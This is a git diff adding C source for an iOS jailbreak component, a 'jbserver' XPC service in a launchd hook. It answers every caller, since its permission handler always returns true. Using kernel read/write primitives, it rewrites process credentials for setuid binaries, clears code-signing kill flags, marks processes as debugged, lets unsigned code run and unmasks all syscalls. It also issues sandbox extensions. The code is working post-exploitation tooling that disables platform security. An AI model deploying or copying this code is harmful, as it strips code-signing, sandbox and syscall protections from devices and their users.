+ return !strncmp(str, prefix, prefix_len);
+}
+
+bool stringEndsWith(const char* str, const char* suffix)
+{
+ if (!str || !suffix) {
+ return false;
+ }
+
+ size_t str_len = strlen(str);
+ size_t suffix_len = strlen(suffix);
+
+ if (str_len < suffix_len) {
+ return false;
+ }
+
+ return !strcmp(str + str_len - suffix_len, suffix);
+}
+
+#define APP_PATH_PREFIX "/private/var/containers/Bundle/Application/"
+
+static bool is_app_path(const char* path)
+{
+ if(!path) return false;
+
+ char rp[PATH_MAX];
+ if(!realpath(path, rp)) return false;
+
+ if(strncmp(rp, APP_PATH_PREFIX, sizeof(APP_PATH_PREFIX)-1) != 0)
+ return false;
+
+ char* p1 = rp + sizeof(APP_PATH_PREFIX)-1;
+ char* p2 = strchr(p1, '/');
+ if(!p2) return false;
+
+ //is normal app or jailbroken app/daemon?
+ if((p2 - p1) != (sizeof("xxxxxxxx-xxxx-xxxx-yxxx-xxxxxxxxxxxx")-1))
+ return false;
+
+ return true;
+}
+
+bool is_sub_path(const char* parent, const char* child)
+{
+ char real_child[PATH_MAX]={0};
+ char real_parent[PATH_MAX]={0};
+
+ if(!realpath(child, real_child)) return false;
+ if(!realpath(parent, real_parent)) return false;
+
+ if(!stringStartsWith(real_child, real_parent))
+ return false;
+
+ return real_child[strlen(real_parent)] == '/';
+}
+
+static bool systemwide_domain_allowed(audit_token_t clientToken)
+{
+ return true;
+}
+
+static int systemwide_get_jbroot(char **rootPathOut)
+{
+ *rootPathOut = strdup(jbinfo(rootPath));
+ return 0;
+}
+
+static int systemwide_get_boot_uuid(char **bootUUIDOut)
+{
+ const char *launchdUUID = getenv("LAUNCHD_UUID");
+ *bootUUIDOut = launchdUUID ? strdup(launchdUUID) : NULL;
+ return 0;
+}
+
+char* generate_sandbox_extensions(audit_token_t *processToken, bool writable)
+{
+ char* sandboxExtensionsOut=NULL;
+ char jbrootbase[PATH_MAX];
+ char jbrootsecondary[PATH_MAX];
+ snprintf(jbrootbase, sizeof(jbrootbase), "/private/var/containers/Bundle/Application/.jbroot-%016llX/", jbinfo(jbrand));
+ snprintf(jbrootsecondary, sizeof(jbrootsecondary), "/private/var/mobile/Containers/Shared/AppGroup/.jbroot-%016llX/", jbinfo(jbrand));
+
+ char* fileclass = writable ? "com.apple.app-sandbox.read-write" : "com.apple.app-sandbox.read";
+
+ char *readExtension = sandbox_extension_issue_file_to_process("com.apple.app-sandbox.read", jbrootbase, 0, *processToken);
+ char *execExtension = sandbox_extension_issue_file_to_process("com.apple.sandbox.executable", jbrootbase, 0, *processToken);
+ char *readExtension2 = sandbox_extension_issue_file_to_process(fileclass, jbrootsecondary, 0, *processToken);
+ if (readExtension && execExtension && readExtension2) {
+ char extensionBuf[strlen(readExtension) + 1 + strlen(execExtension) + strlen(readExtension2) + 1];
+ strcat(extensionBuf, readExtension);
+ strcat(extensionBuf, "|");
+ strcat(extensionBuf, execExtension);
+ strcat(extensionBuf, "|");
+ strcat(extensionBuf, readExtension2);
+ sandboxExtensionsOut = strdup(extensionBuf);
+ }
+ if (readExtension) free(readExtension);
+ if (execExtension) free(execExtension);
+ if (readExtension2) free(readExtension2);
+ return sandboxExtensionsOut;
+}
+
+static int systemwide_process_checkin(audit_token_t *processToken, char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut)
+{
+ // Fetch process info
+ pid_t pid = audit_token_to_pid(*processToken);
+ char procPath[4*MAXPATHLEN];
+ if (proc_pidpath(pid, procPath, sizeof(procPath)) <= 0) {
+ return -1;
+ }
+
+ // Find proc in kernelspace
+ uint64_t proc = proc_find(pid);
+ if (!proc) {
+ return -1;
+ }
+
+ // Get jbroot and boot uuid
+ systemwide_get_jbroot(rootPathOut);
+ systemwide_get_boot_uuid(bootUUIDOut);
+
+
+ struct statfs fs;
+ bool isPlatformProcess = statfs(procPath, &fs)==0 && strcmp(fs.f_mntonname, "/private/var") != 0;
+
+ // Generate sandbox extensions for the requesting process
+ *sandboxExtensionsOut = generate_sandbox_extensions(processToken, isPlatformProcess);
+
+ bool fullyDebugged = false;
+ if (is_app_path(procPath) || is_sub_path(JBRootPath("/Applications"), procPath)) {
+ // This is an app, enable CS_DEBUGGED based on user preference
+ if (jbsetting(markAppsAsDebugged)) {
+ fullyDebugged = true;
+ }
+ }
+ *fullyDebuggedOut = fullyDebugged;
+
+ // Allow invalid pages
+ cs_allow_invalid(proc, fullyDebugged);
+
+ // Fix setuid
+ struct stat sb;
+ if (stat(procPath, &sb) == 0) {
+ if (S_ISREG(sb.st_mode) && (sb.st_mode & (S_ISUID | S_ISGID))) {
+ uint64_t ucred = proc_ucred(proc);
+ if ((sb.st_mode & (S_ISUID))) {
+ kwrite32(proc + koffsetof(proc, svuid), sb.st_uid);
+ kwrite32(ucred + koffsetof(ucred, svuid), sb.st_uid);
+ kwrite32(ucred + koffsetof(ucred, uid), sb.st_uid);
+ }
+ if ((sb.st_mode & (S_ISGID))) {
+ kwrite32(proc + koffsetof(proc, svgid), sb.st_gid);
+ kwrite32(ucred + koffsetof(ucred, svgid), sb.st_gid);
+ kwrite32(ucred + koffsetof(ucred, groups), sb.st_gid);
+ }
+ uint32_t flag = kread32(proc + koffsetof(proc, flag));
+ if ((flag & P_SUGID) != 0) {
+ flag &= ~P_SUGID;
+ kwrite32(proc + koffsetof(proc, flag), flag);
+ }
+ }
+ }
+
+ // In iOS 16+ there is a super annoying security feature called Protobox
+ // Amongst other things, it allows for a process to have a syscall mask
+ // If a process calls a syscall it's not allowed to call, it immediately crashes
+ // Because for tweaks and hooking this is unacceptable, we update these masks to be 1 for all syscalls on all processes
+ // That will at least get rid of the syscall mask part of Protobox
+ if (__builtin_available(iOS 16.0, *)) {
+ proc_allow_all_syscalls(proc);
+ }
+
+ // For whatever reason after SpringBoard has restarted, AutoFill and other stuff stops working
+ // The fix is to always also restart the kbd daemon alongside SpringBoard
+ // Seems to be something sandbox related where kbd doesn't have the right extensions until restarted
+ if (strcmp(procPath, "/System/Library/CoreServices/SpringBoard.app/SpringBoard") == 0) {
+ static bool springboardStartedBefore = false;
+ if (!springboardStartedBefore) {
+ // Ignore the first SpringBoard launch after userspace reboot
+ // This fix only matters when SpringBoard gets restarted during runtime
+ springboardStartedBefore = true;
+ }
+ else {
+ dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
+ killall("/System/Library/TextInput/kbd", false);
+ });
+ }
+ }
+ // For the Dopamine app itself we want to give it a saved uid/gid of 0, unsandbox it and give it CS_PLATFORM_BINARY
+ // This is so that the buttons inside it can work when jailbroken, even if the app was not installed by TrollStore
+ // else if (stringEndsWith(procPath, "/Dopamine.app/Dopamine")) {
+ // char roothidefile[PATH_MAX];
+ // snprintf(roothidefile, sizeof(roothidefile), "%s.roothide",procPath);
+ // if(access(roothidefile, F_OK)==0) {
+ // // svuid = 0, svgid = 0
+ // uint64_t ucred = proc_ucred(proc);
+ // kwrite32(proc + koffsetof(proc, svuid), 0);
+ // kwrite32(ucred + koffsetof(ucred, svuid), 0);
+ // kwrite32(proc + koffsetof(proc, svgid), 0);
+ // kwrite32(ucred + koffsetof(ucred, svgid), 0);
+
+ // // platformize
+ // proc_csflags_set(proc, CS_PLATFORM_BINARY);
+ // } else {
+ // kill(pid, SIGKILL);
+ // }
+ // }
+
+ proc_rele(proc);
+ return 0;
+}
+
+static int systemwide_patch_exec_add(audit_token_t *callerToken, const char* exec_path, bool resume)
+{
+ uint64_t callerPid = audit_token_to_pid(*callerToken);
+ if (callerPid > 0) {
+ patchExecAdd((int)callerPid, exec_path, resume);
+ return 0;
+ }
+ return -1;
+}
+
+static int systemwide_patch_exec_del(audit_token_t *callerToken, const char* exec_path)
+{
+ uint64_t callerPid = audit_token_to_pid(*callerToken);
+ if (callerPid > 0){
+ patchExecDel((int)callerPid, exec_path);
+ return 0;
+ }
+ return -1;
+}
+
+struct jbserver_domain gSystemwideDomain = {
+ .permissionHandler = systemwide_domain_allowed,
+ .actions = {
+ // JBS_SYSTEMWIDE_GET_JBROOT
+ {
+ .handler = systemwide_get_jbroot,
+ .args = (jbserver_arg[]){
+ { .name = "root-path", .type = JBS_TYPE_STRING, .out = true },
+ { 0 },
+ },
+ },
+ // JBS_SYSTEMWIDE_GET_BOOT_UUID
+ {
+ .handler = systemwide_get_boot_uuid,
+ .args = (jbserver_arg[]){
+ { .name = "boot-uuid", .type = JBS_TYPE_STRING, .out = true },
+ { 0 },
+ },
+ },
+ // JBS_SYSTEMWIDE_PROCESS_CHECKIN
+ {
+ .handler = systemwide_process_checkin,
+ .args = (jbserver_arg[]) {
+ { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ { .name = "root-path", .type = JBS_TYPE_STRING, .out = true },
+ { .name = "boot-uuid", .type = JBS_TYPE_STRING, .out = true },
+ { .name = "sandbox-extensions", .type = JBS_TYPE_STRING, .out = true },
+ // { .name = "fully-debugged", .type = JBS_TYPE_BOOL, .out = true },
+ { 0 },
+ },
+ },
+ // // JBS_SYSTEMWIDE_FORK_FIX
+ // {
+ // .handler = systemwide_fork_fix,
+ // .args = (jbserver_arg[]) {
+ // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ // { .name = "child-pid", .type = JBS_TYPE_UINT64, .out = false },
+ // { 0 },
+ // },
+ // },
+ // // JBS_SYSTEMWIDE_CS_REVALIDATE
+ // {
+ // .handler = systemwide_cs_revalidate,
+ // .args = (jbserver_arg[]) {
+ // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ // { 0 },
+ // },
+ // },
+ // // JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW
+ // {
+ // // .action = JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW,
+ // .handler = systemwide_cs_drop_get_task_allow,
+ // .args = (jbserver_arg[]) {
+ // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ // { 0 },
+ // },
+ // },
+ // // JBS_SYSTEMWIDE_PATCH_SPAWN
+ // {
+ // // .action = JBS_SYSTEMWIDE_PATCH_SPAWN,
+ // .handler = systemwide_patch_spawn,
+ // .args = (jbserver_arg[]) {
+ // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ // { .name = "pid", .type = JBS_TYPE_UINT64, .out = false },
+ // { .name = "resume", .type = JBS_TYPE_BOOL, .out = false },
+ // { 0 },
+ // },
+ // },
+ // // JBS_SYSTEMWIDE_PATCH_EXEC_ADD
+ // {
+ // // .action = JBS_SYSTEMWIDE_PATCH_EXEC_ADD,
+ // .handler = systemwide_patch_exec_add,
+ // .args = (jbserver_arg[]) {
+ // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ // { .name = "exec-path", .type = JBS_TYPE_STRING, .out = false },
+ // { .name = "resume", .type = JBS_TYPE_BOOL, .out = false },
+ // { 0 },
+ // },
+ // },
+ // // JBS_SYSTEMWIDE_PATCH_EXEC_DEL
+ // {
+ // // .action = JBS_SYSTEMWIDE_PATCH_EXEC_DEL,
+ // .handler = systemwide_patch_exec_del,
+ // .args = (jbserver_arg[]) {
+ // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false },
+ // { .name = "exec-path", .type = JBS_TYPE_STRING, .out = false },
+ // { 0 },
+ // },
+ // },
+ { 0 },
+ },
+};
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c
new file mode 100644
index 00000000..777e4e8c
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c
@@ -0,0 +1,124 @@
+#include "jbserver.h"
+#include "util.h"
+
+int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg)
+{
+ if (xpc_get_type(xmsg) != XPC_TYPE_DICTIONARY) return -1;
+
+ if (!xpc_dictionary_get_value(xmsg, "jb-domain")) return -1;
+ if (!xpc_dictionary_get_value(xmsg, "action")) return -1;
+
+ uint64_t domainIdx = xpc_dictionary_get_uint64(xmsg, "jb-domain");
+ if (domainIdx == 0) return -1;
+ struct jbserver_domain *domain = server->domains[0];
+ for (int i = 1; i < domainIdx && domain; i++) {
+ domain = server->domains[i];
+ }
+ if (!domain) return -1;
+
+ audit_token_t clientToken = { 0 };
+ xpc_dictionary_get_audit_token(xmsg, &clientToken);
+
+ if (domain->permissionHandler) {
+ if (!domain->permissionHandler(clientToken)) return -2;
+ }
+
+ uint64_t actionIdx = xpc_dictionary_get_uint64(xmsg, "action");
+ if (actionIdx == 0) return -1;
+ struct jbserver_action *action = &domain->actions[0];
+ for (int i = 1; i < actionIdx && action->handler; i++) {
+ action = &domain->actions[i];
+ }
+ if (!action->handler) return -1;
+
+ int (*handler)(void *a1, void *a2, void *a3, void *a4, void *a5, void *a6, void *a7, void *a8) = action->handler;
+ void *args[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL };
+ void *argsOut[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL };
+
+ for (uint64_t i = 0; action->args[i].name && i < 8; i++) {
+ jbserver_arg *argDesc = &action->args[i];
+ if (!argDesc->out) {
+ switch (argDesc->type) {
+ case JBS_TYPE_BOOL:
+ args[i] = (void *)xpc_dictionary_get_bool(xmsg, argDesc->name);
+ break;
+ case JBS_TYPE_UINT64:
+ args[i] = (void *)xpc_dictionary_get_uint64(xmsg, argDesc->name);
+ break;
+ case JBS_TYPE_STRING:
+ args[i] = (void *)xpc_dictionary_get_string(xmsg, argDesc->name);
+ break;
+ case JBS_TYPE_DATA: { // Data occupies 2 arguments (buf, len)
+ if (i < 7) {
+ args[i] = (void *)xpc_dictionary_get_data(xmsg, argDesc->name, (size_t *)&args[i+1]); i++;
+ }
+ break;
+ }
+ case JBS_TYPE_ARRAY:
+ args[i] = (void *)xpc_dictionary_get_array(xmsg, argDesc->name);
+ break;
+ case JBS_TYPE_DICTIONARY:
+ args[i] = (void *)xpc_dictionary_get_dictionary(xmsg, argDesc->name);
+ break;
+ case JBS_TYPE_XPC_GENERIC:
+ args[i] = (void *)xpc_dictionary_get_value(xmsg, argDesc->name);
+ break;
+ case JBS_TYPE_CALLER_TOKEN:
+ args[i] = (void *)&clientToken;
+ break;
+ }
+ }
+ else {
+ args[i] = &argsOut[i];
+ }
+ }
+
+ int result = handler(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]);
+
+ xpc_object_t xreply = xpc_dictionary_create_reply(xmsg);
+ for (uint64_t i = 0; action->args[i].name && i < 8; i++) {
+ jbserver_arg *argDesc = &action->args[i];
+ if (argDesc->out) {
+ switch (argDesc->type) {
+ case JBS_TYPE_BOOL:
+ xpc_dictionary_set_bool(xreply, argDesc->name, (bool)argsOut[i]);
+ break;
+ case JBS_TYPE_UINT64:
+ xpc_dictionary_set_uint64(xreply, argDesc->name, (uint64_t)argsOut[i]);
+ break;
+ case JBS_TYPE_STRING: {
+ if (argsOut[i]) {
+ xpc_dictionary_set_string(xreply, argDesc->name, (char *)argsOut[i]);
+ free(argsOut[i]);
+ }
+ break;
+ }
+ case JBS_TYPE_DATA: {
+ if (i < 7) {
+ if (argsOut[i] && action->args[i+1].name) {
+ xpc_dictionary_set_data(xreply, argDesc->name, (const void *)argsOut[i], (size_t)argsOut[i+1]);
+ free(argsOut[i]);
+ }
+ }
+ break;
+ }
+ case JBS_TYPE_ARRAY:
+ case JBS_TYPE_DICTIONARY:
+ case JBS_TYPE_XPC_GENERIC: {
+ if (argsOut[i]) {
+ xpc_dictionary_set_value(xreply, argDesc->name, (xpc_object_t)argsOut[i]);
+ xpc_release((xpc_object_t)argsOut[i]);
+ }
+ break;
+ }
+ default:
+ break;
+ }
+ }
+ }
+ xpc_dictionary_set_int64(xreply, "result", result);
+ xpc_pipe_routine_reply(xreply);
+ xpc_release(xreply);
+
+ return 0;
+}
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h
new file mode 100644
index 00000000..c8ee5f8f
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h
@@ -0,0 +1,101 @@
+#ifndef JBSERVER_H
+#define JBSERVER_H
+
+#include
+#include
+#include
+#include "xpc_private.h"
+
+typedef enum {
+ JBS_TYPE_BOOL,
+ JBS_TYPE_UINT64,
+ JBS_TYPE_STRING,
+ JBS_TYPE_DATA,
+ JBS_TYPE_ARRAY,
+ JBS_TYPE_DICTIONARY,
+ JBS_TYPE_CALLER_TOKEN,
+ JBS_TYPE_XPC_GENERIC,
+} jbserver_type;
+
+typedef struct s_jbserver_arg
+{
+ const char *name;
+ jbserver_type type;
+ bool out;
+} jbserver_arg;
+
+struct jbserver_action {
+ void *handler;
+ jbserver_arg *args;
+};
+
+struct jbserver_domain {
+ bool (*permissionHandler)(audit_token_t);
+ struct jbserver_action actions[]; // Flexible array member moved to the end
+};
+
+struct jbserver_impl {
+ uint64_t maxDomain;
+ struct jbserver_domain **domains;
+};
+
+extern struct jbserver_impl gGlobalServer;
+
+
+// jbserver_global.h
+// Domain: System-Wide
+// Reachable from all processes
+#define JBS_DOMAIN_SYSTEMWIDE 1
+enum {
+ JBS_SYSTEMWIDE_GET_JBROOT = 1,
+ JBS_SYSTEMWIDE_GET_BOOT_UUID,
+ // JBS_SYSTEMWIDE_TRUST_BINARY,
+ // JBS_SYSTEMWIDE_TRUST_LIBRARY,
+ JBS_SYSTEMWIDE_PROCESS_CHECKIN,
+ // JBS_SYSTEMWIDE_FORK_FIX,
+ JBS_SYSTEMWIDE_CS_REVALIDATE,
+ JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW,
+ JBS_SYSTEMWIDE_PATCH_SPAWN,
+ JBS_SYSTEMWIDE_PATCH_EXEC_ADD,
+ JBS_SYSTEMWIDE_PATCH_EXEC_DEL,
+ // JBS_SYSTEMWIDE_LOCK_PAGE,
+};
+
+// Domain: Platform
+// Reachable from all processes that have CS_PLATFORMIZED or are entitled with platform-application or are the Dopamine app itself
+#define JBS_DOMAIN_PLATFORM 2
+enum {
+ JBS_PLATFORM_SET_PROCESS_DEBUGGED = 1,
+ JBS_PLATFORM_STAGE_JAILBREAK_UPDATE,
+ JBS_PLATFORM_JBSETTINGS_GET,
+ JBS_PLATFORM_JBSETTINGS_SET,
+};
+
+
+// Domain: Watchdog
+// Only reachable from watchdogd
+#define JBS_DOMAIN_WATCHDOG 3
+enum {
+ JBS_WATCHDOG_INTERCEPT_USERSPACE_PANIC = 1,
+ JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC
+};
+
+// Domain: Root
+// Only reachable from root processes
+#define JBS_DOMAIN_ROOT 4
+enum {
+ JBS_ROOT_GET_PHYSRW = 1,
+ JBS_ROOT_SIGN_THREAD,
+ JBS_ROOT_GET_SYSINFO,
+ JBS_ROOT_STEAL_UCRED,
+ JBS_ROOT_SET_MAC_LABEL,
+ JBS_ROOT_TRUSTCACHE_INFO,
+ JBS_ROOT_TRUSTCACHE_ADD_CDHASH,
+ JBS_ROOT_TRUSTCACHE_CLEAR,
+};
+
+#define JBS_BOOMERANG_DONE 42
+
+int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c
new file mode 100644
index 00000000..fa8a3dc2
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c
@@ -0,0 +1,16 @@
+#include "jbserver.h"
+extern struct jbserver_domain gSystemwideDomain;
+extern struct jbserver_domain gPlatformDomain;
+extern struct jbserver_domain gWatchdogDomain;
+extern struct jbserver_domain gRootDomain;
+
+struct jbserver_impl gGlobalServer = {
+ .maxDomain = 1,
+ .domains = (struct jbserver_domain*[]){
+ &gSystemwideDomain,
+ // &gPlatformDomain,
+ // &gWatchdogDomain,
+ // &gRootDomain,
+ NULL,
+ }
+};
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c
new file mode 100644
index 00000000..94e447e8
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c
@@ -0,0 +1,218 @@
+#include "kernel.h"
+#include
+// #include "primitives.h"
+#include "../fun/krw.h"
+#include "info.h"
+#include "util.h"
+#include "codesign.h"
+#include
+
+uint64_t proc_find(pid_t pidToFind)
+{
+ __block uint64_t foundProc = 0;
+ // This sucks a bit due to us not being able to take locks
+ // If we don't find anything, just repeat 5 times
+ // Attempts to avoids conditions where we got thrown off by modifications
+ for (int i = 0; i < 5 && !foundProc; i++) {
+ proc_iterate(^(uint64_t proc, bool *stop) {
+ pid_t pid = kread32(proc + koffsetof(proc, pid));
+ if (pid == pidToFind) {
+ foundProc = proc;
+ *stop = true;
+ }
+ });
+ }
+ return foundProc;
+}
+
+int proc_rele(uint64_t proc)
+{
+ // If proc_find doesn't increment the ref count, there is also no need to decrement it again
+ return -1;
+}
+
+uint64_t proc_task(uint64_t proc)
+{
+ if (koffsetof(proc, task)) {
+ // iOS <= 15: proc has task attribute
+ return kread_ptr(proc + koffsetof(proc, task));
+ }
+ else {
+ // iOS >= 16: task is always at "proc + sizeof(proc)"
+ return proc + ksizeof(proc);
+ }
+}
+
+uint64_t proc_ucred(uint64_t proc)
+{
+ if (gSystemInfo.kernelStruct.proc_ro.exists) {
+ uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro));
+ return kread_ptr(proc_ro + koffsetof(proc_ro, ucred));
+ }
+ else {
+ return kread_ptr(proc + koffsetof(proc, ucred));
+ }
+}
+
+uint32_t proc_getcsflags(uint64_t proc)
+{
+ if (gSystemInfo.kernelStruct.proc_ro.exists) {
+ uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro));
+ return kread32(proc_ro + koffsetof(proc_ro, csflags));
+ }
+ else {
+ return kread32(proc + koffsetof(proc, csflags));
+ }
+}
+
+void proc_csflags_update(uint64_t proc, uint32_t flags)
+{
+ if (gSystemInfo.kernelStruct.proc_ro.exists) {
+ uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro));
+ kwrite32(proc_ro + koffsetof(proc_ro, csflags), flags);
+ }
+ else {
+ kwrite32(proc + koffsetof(proc, csflags), flags);
+ }
+}
+
+void proc_csflags_set(uint64_t proc, uint32_t flags)
+{
+ proc_csflags_update(proc, proc_getcsflags(proc) | (uint32_t)flags);
+}
+
+void proc_csflags_clear(uint64_t proc, uint32_t flags)
+{
+ proc_csflags_update(proc, proc_getcsflags(proc) & ~(uint32_t)flags);
+}
+
+// To replace dyld patch, make dyld respect DYLD_ environment variables
+int proc_csflags_patch(int pid)
+{
+ int ret = 0;
+ uint64_t proc = proc_find(pid);
+ if(proc) {
+ proc_csflags_set(proc, CS_GET_TASK_ALLOW);
+
+ // auto enable jit (suspend spawn)
+ cs_allow_invalid(proc, false);
+ } else {
+ ret = -1;
+ }
+ return ret;
+}
+
+uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name)
+{
+ uint64_t table = 0;
+ // New format in iOS 16.1
+ if (gSystemInfo.kernelStruct.ipc_space.table_uses_smr) {
+ table = kread_smrptr(space + koffsetof(ipc_space, table));
+ }
+ else {
+ table = kread_ptr(space + koffsetof(ipc_space, table));
+ }
+
+ return (table + (ksizeof(ipc_entry) * (name >> 8)));
+}
+
+uint64_t pa_index(uint64_t pa)
+{
+ return atop(pa - kread64(ksymbol(vm_first_phys)));
+}
+
+uint64_t pai_to_pvh(uint64_t pai)
+{
+ return kread64(ksymbol(pv_head_table)) + (pai * 8);
+}
+
+uint64_t pvh_ptd(uint64_t pvh)
+{
+ return ((kread64(pvh) & PVH_LIST_MASK) | PVH_HIGH_FLAGS);
+}
+
+void task_set_memory_ownership_transfer(uint64_t task, bool value)
+{
+ kwrite8(task + koffsetof(task, task_can_transfer_memory_ownership), !!value);
+}
+
+uint64_t mac_label_get(uint64_t label, int slot)
+{
+ // On 15.0 - 15.1.1, 0 is the equivalent of -1 on 15.2+
+ // So, treat 0 as -1 there
+ uint64_t value = kread_ptr(label + ((slot + 1) * sizeof(uint64_t)));
+ if (!gSystemInfo.kernelStruct.proc_ro.exists && value == 0) value = -1;
+ return value;
+}
+
+// void mac_label_set(uint64_t label, int slot, uint64_t value)
+// {
+// // THe inverse of the condition above, treat -1 as 0 on 15.0 - 15.1.1
+// if (!gSystemInfo.kernelStruct.proc_ro.exists && value == -1) value = 0;
+// #ifdef __arm64e__
+// if (jbinfo(usesPACBypass) && !gSystemInfo.kernelStruct.proc_ro.exists) {
+// kcall(NULL, ksymbol(mac_label_set), 3, (uint64_t[]){ label, slot, value });
+// return;
+// }
+// #endif
+// kwrite64(label + ((slot + 1) * sizeof(uint64_t)), value);
+// }
+
+#ifdef __arm64e__
+int pmap_cs_allow_invalid(uint64_t pmap)
+{
+ kwrite8(pmap + koffsetof(pmap, wx_allowed), true);
+ return 0;
+}
+#endif
+
+int cs_allow_invalid(uint64_t proc, bool emulateFully)
+{
+ if (proc) {
+ uint64_t task = proc_task(proc);
+ if (task) {
+ uint64_t vm_map = kread_ptr(task + koffsetof(task, map));
+ if (vm_map) {
+ uint64_t pmap = kread_ptr(vm_map + koffsetof(vm_map, pmap));
+ if (pmap) {
+ // For non-pmap_cs (arm64) devices, this should always be emulated.
+#ifdef __arm64e__
+ if (emulateFully) {
+#endif
+ // Fugu15 Rootful
+ //proc_csflags_clear(proc, CS_EXEC_SET_ENFORCEMENT | CS_EXEC_SET_KILL | CS_EXEC_SET_HARD | CS_REQUIRE_LV | CS_ENFORCEMENT | CS_RESTRICT | CS_KILL | CS_HARD | CS_FORCED_LV);
+ //proc_csflags_set(proc, CS_DEBUGGED | CS_INVALID_ALLOWED | CS_GET_TASK_ALLOW);
+
+ // XNU
+ proc_csflags_clear(proc, CS_KILL | CS_HARD);
+ proc_csflags_set(proc, CS_DEBUGGED);
+
+ task_set_memory_ownership_transfer(task, true);
+ vm_map_flags flags = { 0 };
+ kreadbuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags));
+ flags.switch_protect = false;
+ flags.cs_debugged = true;
+ kwritebuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags));
+#ifdef __arm64e__
+ }
+ // For pmap_cs (arm64e) devices, this is enough to get unsigned code to run
+ pmap_cs_allow_invalid(pmap);
+#endif
+ }
+ }
+ }
+ }
+ return 0;
+}
+
+// kern_return_t pmap_enter_options_addr(uint64_t pmap, uint64_t pa, uint64_t va)
+// {
+// uint64_t kr = -1;
+// if (!is_kcall_available()) return kr;
+// while (1) {
+// kcall(&kr, ksymbol(pmap_enter_options_addr), 8, (uint64_t[]){ pmap, va, pa, VM_PROT_READ | VM_PROT_WRITE, 0, 0, 1, 1 });
+// if (kr != KERN_RESOURCE_SHORTAGE) {
+// return kr;
+// }
+// }
+// }
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h
new file mode 100644
index 00000000..e940cc2c
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h
@@ -0,0 +1,65 @@
+#ifndef KERNEL_H
+#define KERNEL_H
+
+#include
+#include
+#include
+#include
+#include "pvh.h"
+#include "info.h"
+
+#define CPSR_KERN_INTR_EN (0x401000 | ((uint32_t)kconstant(kernel_el) << 2))
+#define CPSR_KERN_INTR_DIS (0x4013c0 | ((uint32_t)kconstant(kernel_el) << 2))
+#define CPSR_USER_INTR_DIS 0x13C0
+
+#define PERM_KRW_URW 0x7 // R/W for kernel and user
+
+#define P_SUGID 0x00000100
+#define atop(x) ((vm_address_t)(x) >> vm_real_kernel_page_shift)
+typedef struct __attribute__((__packed__)) _vm_map_flags {
+ unsigned int
+ /* boolean_t */ wait_for_space:1, /* Should callers wait for space? */
+ /* boolean_t */ wiring_required:1, /* All memory wired? */
+ /* boolean_t */ no_zero_fill:1, /* No zero fill absent pages */
+ /* boolean_t */ mapped_in_other_pmaps:1, /* has this submap been mapped in maps that use a different pmap */
+ /* boolean_t */ switch_protect:1, /* Protect map from write faults while switched */
+ /* boolean_t */ disable_vmentry_reuse:1, /* All vm entries should keep using newer and higher addresses in the map */
+ /* boolean_t */ map_disallow_data_exec:1, /* Disallow execution from data pages on exec-permissive architectures */
+ /* boolean_t */ holelistenabled:1,
+ /* boolean_t */ is_nested_map:1,
+ /* boolean_t */ map_disallow_new_exec:1, /* Disallow new executable code */
+ /* boolean_t */ jit_entry_exists:1,
+ /* boolean_t */ has_corpse_footprint:1,
+ /* boolean_t */ terminated:1,
+ /* boolean_t */ is_alien:1, /* for platform simulation, i.e. PLATFORM_IOS on OSX */
+ /* boolean_t */ cs_enforcement:1, /* code-signing enforcement */
+ /* boolean_t */ cs_debugged:1, /* code-signed but debugged */
+ /* boolean_t */ reserved_regions:1, /* has reserved regions. The map size that userspace sees should ignore these. */
+ /* boolean_t */ single_jit:1, /* only allow one JIT mapping */
+ /* boolean_t */ never_faults : 1, /* only seen in KDK */
+ /* reserved */ pad:13;
+} vm_map_flags;
+
+uint64_t proc_find(pid_t pidToFind);
+uint64_t proc_task(uint64_t proc);
+uint64_t proc_ucred(uint64_t proc);
+int proc_rele(uint64_t proc);
+uint32_t proc_getcsflags(uint64_t proc);
+void proc_csflags_update(uint64_t proc, uint32_t flags);
